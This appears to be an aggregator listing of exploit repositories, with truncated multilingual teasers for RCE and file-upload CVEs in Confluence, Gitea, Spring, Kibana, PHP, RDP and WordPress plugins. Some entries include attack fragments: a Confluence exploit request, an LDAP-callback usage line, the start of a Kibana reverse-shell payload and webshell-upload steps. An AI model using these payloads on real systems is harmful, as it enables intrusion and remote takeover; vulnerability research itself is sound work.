CVE-2026-13157

CVE-2026-13157 Theme Demo Import = 1.1.3 — Carga Arbitraria de Archivos y Ejecución Remota de Código -E5A500?style=for-the-badge&logo=security&logoColor=white 📖 Descripción General del Aviso CVE-2026-13157 es una vulnerabilidad autenticada de carga arbitraria de archivos que afecta al plugin de...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 路径遍历漏洞 CVE-2019-3396 RCE 验证代码 root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea リポジトリマイグレーションにおけるリモートコマンド実行のエクスプロイト。 使い方 1. このリポジトリ内のファイルを使ってHTTPファイルシステムサーバーを実行します。 2. api/v1/repos/e99/exp/pulls/1/index.html L96 で実行するコマンドを編集します。 3. Giteaインスタンス上で、URL http:///e99/exp を使ってリモートリポジトリをマイグレーションします。 4. Pwnned! 参考 https://tttang.com/archive/1607/ 中国語 クレジット...

spring-framework-rce

spring-framework-rce CVE-2022-22965 環境要件 1. tomcat8 8 使用方法 1. springframeworkrce-0.0.1-SNAPSHOT.zip をダウンロードして解凍後、名前を ROOT.war に変更します。 2. tomcat 内の webapps フォルダ配下の ROOT フォルダまたは ROOT.war を置き換えます。 3. tomcat 内の bin パスに移動し、.\catalina.bat run を実行します。 テスト方法 省略 結果...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708（BlueKeep）の初期エクスプロイト CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free RDPのtermdd.sysドライバは、内部専用チャネルMST120へのバインディングを適切に処理しないため、不正なDisconnect Provider...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

EUVD-2026-69821

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2022-25581

CVE-2022-25581 インターネット上でどこを探しても見つからないため、バックアップを残しておきます。Python エクスプロイトスクリプト 。以下の手順を自動的に実行するためのものです： ✅ スクリプトの機能目標 1. バックエンドにログインする（csrf と token を取得する） 2. 悪意のあるリクエストパケットを構築し、圧縮ファイル（webshell を含む）をアップロードする 3. アップロードした webshell にアクセスして制御権限を取得する（GET shell） 🧾 前提条件 対象環境：ClassCMS 2.4 Webサーバー：PHP 5.5 + MySQ...

CVE-2019-7609

CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 远程命令执行漏洞（CVE-2022-22965） Spring-Core-RCE堪比关于 Apache Log4j2核弹级别漏洞exp的rce一键利用 概述 近日，Spring 官方 GitHub issue中提到了关于 Spring Core 的远程命令执行漏洞，该漏洞广泛存在于Spring 框架以及衍生的框架中。 漏洞描述 Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包，是一个包含Spring框架基本的核心工具包，Spring其他组件都要使用到这个包。...

cve-2019-9193

CVE-2019-9193 • CVE-2019-9193 脆弱性 PostgreSQLは「COPY TO / FROM PROGRAM」の機能を介して、DBのオペレーティングシステム内で任意のコードを実行できる脆弱性 攻撃ベクトルは「SuperUser」と「pgexecuteserverprogram」グループのUserが該当する...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure MITM 研究 リリース日 ベンダーとの共同リリース日: 2020年10月26日 著者 David Kierznowski, @withdk クレジット 開示プロセス全体を通じて支援してくれた Pulse Secure PSIRT チームの Sahil Mahajan 氏。 記事「Red Teamer's Guide to Pulse Secure SSL VPN」を執筆した Alyssa Herrera、Justin Wagner、Mimir、Rich Warren 各氏 - Alyssa...

confluence-rce-poc

confluence-rce-poc CVE-2021-26084 用の POC のセットアップ Docker 公式の docker-entrypoint.sh を postgres に渡し、必要に応じて DB のユーザー名とパスワードを変更してください。...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 概要 PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 RCE に対して脆弱です。 詳細 PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム...

HG532d-RCE-Exploit

Exploit RCE HG532d Resumen Un exploit de Ejecución Remota de Código RCE basado en la vulnerabilidad CVE-2017-17215. Modificado del código PoC original de exploit-db.com para funcionar en los Routers de Pasarela Doméstica Huawei HG532d. Descripción Este exploit RCE se basa en CVE-2017-17215 que...

CVE-2024-4577

これは CVE 2024-4577 の POC です このエクスプロイトにより、攻撃者は RCE を実行できます PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 のようなPHPバージョン 引数はコードから確認できます！ この特定のエクスプロイトの詳細については、nist.gov を確認してください。...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 用エクスプロイト: OGNL インジェクションを介した Confluence の事前認証リモートコード実行 OGNL 界隈のもう一つのエクスプロイト 説明 Confluence は、オーストラリアのソフトウェア企業 Atlassian によって開発された Web ベースの企業向け Wiki です。 2022 年 6 月 2 日、Atlassian は Confluence Server および Data Center アプリケーション向けのセキュリティアドバイザリを公開し、重大度が critical の未認証リモートコード実行の脆弱性を強調しました。この...

CVE-2025-11953-PoC

説明 React Native Community CLIによって起動されるMetro Development Serverは、デフォルトで外部インターフェースにバインドします。サーバーはOSコマンドインジェクションに対して脆弱なエンドポイントを公開しています。これにより、認証されていないネットワーク攻撃者がサーバーにPOSTリクエストを送信し、任意の実行ファイルを実行できます。Windowsでは、攻撃者は完全に制御された引数で任意のシェルコマンドを実行することもできます。 影響を受けるバージョン プロダクト| 深刻度| 影響を受けるバージョン| パッチ適用バージョン...